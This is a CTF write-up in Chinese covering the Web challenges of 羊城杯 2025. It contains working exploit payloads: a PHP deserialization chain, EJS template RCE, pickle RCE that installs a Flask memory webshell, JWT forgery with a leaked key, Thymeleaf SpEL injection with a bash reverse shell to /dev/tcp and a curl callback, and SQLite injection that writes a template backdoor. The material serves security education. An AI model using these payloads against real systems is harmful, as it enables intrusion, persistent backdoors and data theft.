羊城杯 2025 Web Writeup

L1nq Lv3

定榜第二

ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
public $first;
public $step;
public $next;

public function __construct() {
$this->first = "继续加油!";
}

public function start() {
echo $this->next;
}
}

class E {
private $you;
public $found;
private $secret = "admin123";

public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}

class F {
public $fifth;
public $step;
public $finalstep;

public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}

class H {
public $who;
public $are;
public $you;

public function __construct() {
$this->you = "nobody";
}

public function __destruct() {
$this->who->start();
}
}

class N {
public $congratulation;
public $yougotit;

public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}

class U {
public $almost;
public $there;
public $cmd;

public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}

public function __invoke() {
return $this->there->system($this->cmd);
}
}

class V {
public $good;
public $keep;
public $dowhat;
public $go;

public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}

unserialize($_POST['payload']);

?>

签到 PHP 反序列化不解释,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$target = $argv[1];
$cmd = $argv[2];

class A { public $first; public $step; public $next; }
class E { public $found; }
class F { public $fifth; public $step; public $finalstep; }
class H { public $who; public $are; public $you; }
class V { public $good; public $keep; public $dowhat; public $go; }

$f = new F(); $f->finalstep = 'u';
$e = new E(); $e->found = $f;
$v = new V(); $v->dowhat = 'secret';
$v -> go = $e;
$a = new A(); $a->next = $v;
$h = new H(); $h->who = $a;

$payload = urlencode(serialize($h));
echo $payload;

staticNodeService

任意 PUT 写文件,文件内容 base64 解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);

if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}

fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});

templ 模板名可控,没有任何校验

1
2
3
4
5
6
7
8
9
10
11
12
13
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}

过滤器对任何以 js 结尾或包含 .. 都会被拦截

1
2
3
4
5
6
7
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})

利用路径末尾添加 /. 的方式绕过过滤,/. 表示当前路径自动被消去

1
2
3
PUT /l1.ejs/. HTTP/1.1

{"content":"base64-payload"}

EJS 会执行 <% %> 中的 JS,<%- %> 为不转义输出

1
<%- global.process.mainModule.require('child_process').execSync('ls / -liah') %>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
total 84K
4457839 drwxr-xr-x 1 root root 4.0K Oct 11 16:17 .
4457839 drwxr-xr-x 1 root root 4.0K Oct 11 16:17 ..
4457828 -rwxr-xr-x 1 root root 0 Oct 11 16:17 .dockerenv
2099511 drwxr-xr-x 1 node node 4.0K Oct 11 16:38 App
1183943 lrwxrwxrwx 1 root root 7 Dec 2 2024 bin -> usr/bin
1310979 drwxr-xr-x 2 root root 4.0K Oct 31 2024 boot
667047127 drwxr-xr-x 5 root root 360 Oct 11 16:17 dev
4457829 drwxr-xr-x 1 root root 4.0K Oct 11 16:17 etc
2099441 -r-------- 1 root root 41 Oct 11 16:17 flag
1839683 drwxr-xr-x 1 root root 4.0K Dec 3 2024 home
1183944 lrwxrwxrwx 1 root root 7 Dec 2 2024 lib -> usr/lib
1183945 lrwxrwxrwx 1 root root 9 Dec 2 2024 lib64 -> usr/lib64
1183946 drwxr-xr-x 2 root root 4.0K Dec 2 2024 media
1311248 drwxr-xr-x 2 root root 4.0K Dec 2 2024 mnt
1840448 drwxr-xr-x 1 root root 4.0K Dec 3 2024 opt
1 dr-xr-xr-x 963 root root 0 Oct 11 16:17 proc
2099498 -rwsr-xr-x 1 root root 16K Dec 9 2024 readflag
2098857 drwx------ 1 root root 4.0K Dec 9 2024 root
1574207 drwxr-xr-x 1 root root 4.0K Dec 3 2024 run
1183947 lrwxrwxrwx 1 root root 8 Dec 2 2024 sbin -> usr/sbin
1311258 drwxr-xr-x 2 root root 4.0K Dec 2 2024 srv
2099470 -rwxr-xr-x 1 root root 148 Dec 9 2024 start.sh
1 dr-xr-xr-x 13 root root 0 Oct 11 06:26 sys
2099456 drwxrwxrwt 1 root root 4.0K Dec 9 2024 tmp
2097846 drwxr-xr-x 1 root root 4.0K Dec 2 2024 usr
1713954 drwxr-xr-x 1 root root 4.0K Dec 2 2024 var

执行 /readflag

1
<%- global.process.mainModule.require('child_process').execSync('/readflag') %>

ez_blog

提示访客只能用管理账号登录,添加文章必须要管理员账户

但题目没有路由注册,顺着思路测几个账户,发现默认访客账号 guest/guset

看到熟悉的 session,先顺手解密一下,但程序并不是从这里做鉴权

视野回到 Token,十六进制解密得到 0x800x040x95 …,典型的 pickle 流标志

1
b'\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x02id\x94K\x02\x8c\x08username\x94\x8c\x05guest\x94\x8c\x08is_admin\x94\x89\x8c\tlogged_in\x94\x88ub.'

字段大致意思为以下。

1
2
3
4
5
6
app.User(
id=2,
username='guest',
is_admin=False,
logged_in=True
)

pickle opcode 用 0x89 表达 False,将其改为 0x88 绕过鉴权

1
2
3
4
import binascii

data = b'\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x02id\x94K\x02\x8c\x08username\x94\x8c\x05guest\x94\x8c\x08is_admin\x94\x88\x8c\tlogged_in\x94\x88ub.'
print(binascii.hexlify(bytes(data)).decode())

添加文章尝试 SSTI,但其不解析直接当纯文本输出了

Token 是 pickle 十六进制数据,拿到本地需要进行反序列化,猜测存在 pickle.loads,打一下延迟验证

1
2
3
4
5
6
7
import pickle, binascii

class RCE:
def __reduce__(self):
return (eval, (f"__import__('time').sleep(10)",))

print(binascii.hexlify(pickle.dumps(RCE())).decode())

能 RCE,测试发现反弹shell、DNS等应该都不行,不出网,最终打 after_request 内存马拿下FLAG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle, binascii

payload = r"""
from flask import current_app, request, make_response
import os
def _h(resp):
c = request.args.get('cmd')
return make_response(os.popen(c).read()) if c else resp
current_app.after_request_funcs.setdefault(None, []).append(_h)
"""

class RCE:
def __reduce__(self): return (exec, (payload,))
print(binascii.hexlify(pickle.dumps(RCE())).decode())

authweb

Spring Security + Thymeleaf + JJWT
项目结构如下

1
2
3
4
5
6
7
8
com/example/demo
├── AuthApplication.java #Spring Boot 启动类
├── SecurityConfig.java # Security 规则存储
├── InMemoryUserDetailsService.java
├── JwtTokenProvider.java # JJWT 校验
├── JwtAuthenticationFilter.java
├── Login.java
└── MainC.java

InMemoryUserDetailsService.java,两个预定义用户 user、admin,使用静态 HashMap 存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Service
public class InMemoryUserDetailsService
implements UserDetailsService {
private static final Map<String, User> USERS = new HashMap();

public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
User user = (User)USERS.get(username);
if (user == null) {
throw new UsernameNotFoundException("User not found with username: " + username);
}
return user;
}

static {
USERS.put("user1", new User("user1", "{noop}password1", true, true, true, true, Arrays.asList(new SimpleGrantedAuthority("ROLE_USER"))));
USERS.put("admin", new User("admin", "{noop}adminpass", true, true, true, true, Arrays.asList(new SimpleGrantedAuthority("ROLE_ADMIN"))));
}
}

requestMatchers 定义访问需要通过 hasRole(“USER”),Spring Security会自动添加”ROLE_”前缀,所以检查的是 ROLE_USER。前面预定义用户代码中 admin 只拥有 ROLE_ADMIN 角色,并没有 ROLE_USER。这里鉴权校验逻辑上也有问题,有且仅有 user 能访问关键路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Configuration
public class SecurityConfig {
private final JwtTokenProvider jwtTokenProvider;

@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
http.csrf().disable()
.authorizeHttpRequests(authz -> authz
.requestMatchers("/upload").hasRole("USER")
.requestMatchers("/").hasRole("USER")
.anyRequest().permitAll()
)
.addFilterBefore(
new JwtAuthenticationFilter(this.jwtTokenProvider, this.userDetailsService()),
UsernamePasswordAuthenticationFilter.class
)
.formLogin(form -> form
.loginPage("/login/dynamic-template?value=login")
.permitAll()
);
return (SecurityFilterChain)http.build();
}
}

再看文件上传路由,imgFile 字段接收 MultipartFile 对象,包含上传内容;imgName 字段接收上传非拓展名文件名,随后创建目录并将文件写入。文件路径大致为 <工作目录>/uploadFile/<name>.html,很明显存在路径穿越,../filename 可以控制上传路径,最后会 return success 即渲染 success.html 返回,即使不懂其模板机制也可以从模糊测试中得出结论

1
2
3
4
5
6
7
8
9
10
11
12
@Controller
public class MainC {
@PostMapping(value={"/upload"})
public String upload(@RequestParam(value="imgFile") MultipartFile file, @RequestParam(value="imgName") String name) throws Exception {
File dir = new File("uploadFile");
if (!dir.exists()) {
dir.mkdirs();
}
file.transferTo(new File(dir.getAbsolutePath() + File.separator + name + ".html"));
return "success";
}
}

假登录路由没写登录逻辑,也没对应的后台程序,但其具备动态模板渲染的功能,且 value 可控,文件上传与解析路径不在同一个目录,利用还需要猜测其解析路径

1
2
3
4
5
6
7
8
9
10
11
@Controller
@RequestMapping(value={"/login"})
public class Login {
@GetMapping(value={"/dynamic-template"})
public String getDynamicTemplate(@RequestParam(value="value", required=false) String value) {
if (value.equals("")) {
value = "login";
}
return value + ".html";
}
}

Spring Security 还有注册一个 JWT 校验,每次请求都会先走 JwtAuthenticationFilter

1
2
3
4
.addFilterBefore(
(Filter)new JwtAuthenticationFilter(this.jwtTokenProvider,
this.userDetailsService()), UsernamePasswordAuthenticationFilter.class
)

JwtAuthenticationFilter 类,先取 HTTP 头 Authorization 并取其中 Bearer 字段交给 jwtTokenProvider#validateToken 校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class JwtAuthenticationFilter
extends OncePerRequestFilter {
private final JwtTokenProvider jwtTokenProvider;
private final UserDetailsService userDetailsService;

public JwtAuthenticationFilter(JwtTokenProvider jwtTokenProvider, UserDetailsService userDetailsService) {
this.jwtTokenProvider = jwtTokenProvider;
this.userDetailsService = userDetailsService;
}

protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String token;
String tokenHeader = request.getHeader("Authorization");
if (tokenHeader != null && tokenHeader.startsWith("Bearer ") && this.jwtTokenProvider.validateToken(token = tokenHeader.substring(7))) {
String username = this.jwtTokenProvider.getUsernameFromToken(token);
System.out.println(username);
UserDetails userDetails = this.userDetailsService.loadUserByUsername(username);
UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken((Object)username, null, userDetails.getAuthorities());
SecurityContextHolder.getContext().setAuthentication((Authentication)authentication);
}
filterChain.doFilter((ServletRequest)request, (ServletResponse)response);
}
}

跟进 JwtTokenProvider,硬编码密钥 secret 写死在代码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class JwtTokenProvider {
private String secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03";

public boolean validateToken(String token) {
try {
Jwts.parserBuilder().setSigningKey(this.secret.getBytes()).build().parseClaimsJws(token);
return true;
}
catch (Exception e) {
return false;
}
}

public String getUsernameFromToken(String token) {
Claims claims = (Claims)Jwts.parserBuilder().setSigningKey(this.secret.getBytes()).build().parseClaimsJws(token).getBody();
return claims.getSubject();
}
}

直接用硬编码 JWT 伪造绕过鉴权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;  
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.Key;
import java.util.Date;

public class Main {
public static void main(String[] args) {
String secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03";

Key key = new SecretKeySpec(secret.getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName());

long now = System.currentTimeMillis();
String token = Jwts.builder()
.setSubject("user1")
.setIssuedAt(new Date(now))
.setExpiration(new Date(now + 3600_000L * 24))
.signWith(key, SignatureAlgorithm.HS256)
.compact();

System.out.println(token);
}}

Spring Boot 默认使用 SpringResourceTemplateResolver,前缀一般是

1
2
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html

猜测其路径也是 template,Thymeleaf SpEL 模板注入先测试一下解析

1
<pre th:text="${1+1}">x</pre>

解析成功

直接读环境变量

1
<pre th:text="${@environment.getSystemEnvironment()}">x</pre>

这样解析也可以

1
[[${1+1}]]

无回显出网打反弹 Shell

1
2
3
[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance("".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),true).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('curl http://ip:port')").getValue()}]]

[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance("".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),true).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/7777 0>&1')").getValue()}]]

ezsignin

注册后显示无权限访问

弱密码 Admin/password,或者注入万能密码

1
" OR 1=1) -- -

文件读取拿源码 download?filename=../app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');

const app = express();
const db = new sqlite3.Database('./db.sqlite');

/*
FLAG in /fla4444444aaaaaagg.txt
*/

app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({
secret: 'welcometoycb2025',
resave: false,
saveUninitialized: true,
cookie: { secure: false }
}));

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');


const checkPermission = (req, res, next) => {
if (req.path === '/login' || req.path === '/register') return next();
if (!req.session.user) return res.redirect('/login');
if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
next();
};

app.use(checkPermission);

app.get('/', (req, res) => {
fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
if (err) {
console.error('读取目录时发生错误:', err);
return res.status(500).send('目录读取失败');
}
req.session.files = files;
res.render('files', { files, user: req.session.user });
});
});

app.get('/login', (req, res) => {
res.render('login');
});

app.get('/register', (req, res) => {
res.render('register');
});

app.get('/upload', (req, res) => {
if (!req.session.user) return res.redirect('/login');
res.render('upload', { user: req.session.user });
//todoing
});

app.get('/logout', (req, res) => {
req.session.destroy(err => {
if (err) {
console.error('退出时发生错误:', err);
return res.status(500).send('退出失败');
}
res.redirect('/login');
});
});

app.post('/login', async (req, res) => {
const username = req.body.username;
const password = req.body.password;
const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
db.get(sql,async (err, user) => {
if (!user) {
return res.status(401).send('账号密码出错!!');
}
req.session.user = { id: user.id, username: user.username, isAdmin: user.is_admin };
res.redirect('/');
});
});



app.post('/register', (req, res) => {
const { username, password, confirmPassword } = req.body;

if (password !== confirmPassword) {
return res.status(400).send('两次输入的密码不一致');
}

db.exec(`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`, function(err) {
if (err) {
console.error('注册失败:', err);
return res.status(500).send('注册失败,用户名可能已存在');
}
res.redirect('/login');
});
});

app.get('/download', (req, res) => {
if (!req.session.user) return res.redirect('/login');
const filename = req.query.filename;
if (filename.startsWith('/')||filename.startsWith('./')) {
return res.status(400).send('WAF');
}
if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) {
return res.status(400).send('WAF');
}
if (!filename || path.isAbsolute(filename) ) {
return res.status(400).send('无效文件名');
}
const filePath = path.join(__dirname, 'documents', filename);
if (fs.existsSync(filePath)) {
res.download(filePath);
} else {
res.status(404).send('文件不存在');
}
});



const PORT = 80;
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});

sqlite3 注入,先测试一下是否能建表插值

1
username=123&password=1'); CREATE TABLE IF NOT EXISTS pwn(note TEXT); INSERT INTO pwn VALUES('OK-1');--&confirmPassword=1'); CREATE TABLE IF NOT EXISTS pwn(note TEXT); INSERT INTO pwn VALUES('OK-1');--

读取 ../db.sqlite,拿到本地读一下,看到 SQL 执行成功

测试是否允许 load_extension 加载 fileio,如果可以则能直接调用 readfile() / writefile()把 /fla4444444aaaaaagg.txt 读出来

1
2
3
4
5
username=1234&password=1'); INSERT INTO pwn VALUES('BEFORE-EXT'); SELECT load_extension('/usr/lib/x86_64-linux-gnu/sqlite3/fileio.so','sqlite3_fileio_init'); INSERT INT

O pwn VALUES('AFTER-EXT');--&&confirmPassword=1'); INSERT INTO pwn VALUES('BEFORE-EXT'); SELECT load_extension('/usr/lib/x86_64-linux-gnu/sqlite3/fileio.so','sqlite3_fileio_init'); INS

ERT INTO pwn VALUES('AFTER-EXT');--

失败,测了一晚上没有思路,这题贴一下 z3 队长的解法
payload

1
2
3
');ATTACH DATABASE '/app/views/upload.ejs' AS z3;create TABLE z3.exp (paylo
ad text); insert INTO z3.exp (payload) VALUES ('<%= process.mainModule.requ
ire("child_process").execSync("cat /f*").toString() %>');--
  • Title: 羊城杯 2025 Web Writeup
  • Author: L1nq
  • Created at : 2025-10-13 09:54:58
  • Updated at : 2025-10-14 11:11:35
  • Link: https://redefine.ohevan.com/2025/10/13/羊城杯-2025-Web-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
羊城杯 2025 Web Writeup